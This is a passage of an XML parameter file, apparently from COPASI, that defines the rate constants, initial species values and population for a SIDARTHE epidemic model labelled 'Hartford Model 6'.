<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop]" value="9.8049521108647646e-09" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x]" value="0.99999999911584836" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x]" value="0.13358131796438308" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases]" value="0.70059598964282044" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed]" value="1.1635524324735352e-11" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction]" value="0.13358131784627694" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="1.9609904221729527e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="3.9219808443459059e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="1.9609904221729529e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="9.8049521108647646e-09" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.050000000063963025" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.050000000063963025" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.0013539088980391485" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.050000000000492796" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.050000000000492796" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.040751589611573616" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="0.025785050770753066" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="0.025785050770753066" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="0.010000000000004063" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.029999999999999999" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.1982886423739337" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_22" name="Model5 - 4/25">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_22">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-26T12:39:58Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1.0000000000020353" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572663.9999999986" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1.3610352849986489e-09" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha]" value="0.70604369808549305" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta]" value="0.14120873961709862" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma]" value="0.070604369808549311" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta]" value="0.035302184904274655" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta]" value="0.050000000051545188" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta]" value="0.050000000051545188" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta]" value="0.0011330259588414756" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[kappa]" value="0.010000000000479332" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda]" value="0.025147447548331613" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu]" value="0.050000000000138101" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu]" value="0.050000000000138101" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[xi]" value="0.029999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[rho]" value="0.025147447548331613" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[sigma]" value="0.21542670729316268" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau]" value="0.041874690574095708" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDARTHE]" value="1.0000000013630705" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[IDART]" value="1.0000000013630705" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r1]" value="0.075147447599876793" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r2]" value="0.075147447599876793" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r3]" value="0.061133025959458909" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r4]" value="0.0800000000001381" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[r5]" value="0.25730139786725836" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[R0]" value="10.169329135358387" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop]" value="1.976238180981125e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop]" value="1.9762381809811249e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop]" value="3.95247636196225e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop]" value="9.881190904905625e-09" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day8x]" value="0.99999999973243392" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[day15x]" value="0.12489157688599713" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New cases]" value="0.70604350055920673" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[New diagnosed]" value="1.5420883088026751e-12" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[Tot_reduction]" value="0.12489157685258037" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="1.9762381809811249e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="3.95247636196225e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="1.976238180981125e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="9.881190904905625e-09" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.050000000051545188" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.050000000051545188" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.0011330259588414756" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.050000000000138101" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.050000000000138101" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.041874690574095708" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="0.025147447548331613" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 6,Vector=Reactions[healing_D]" type="Reaction">
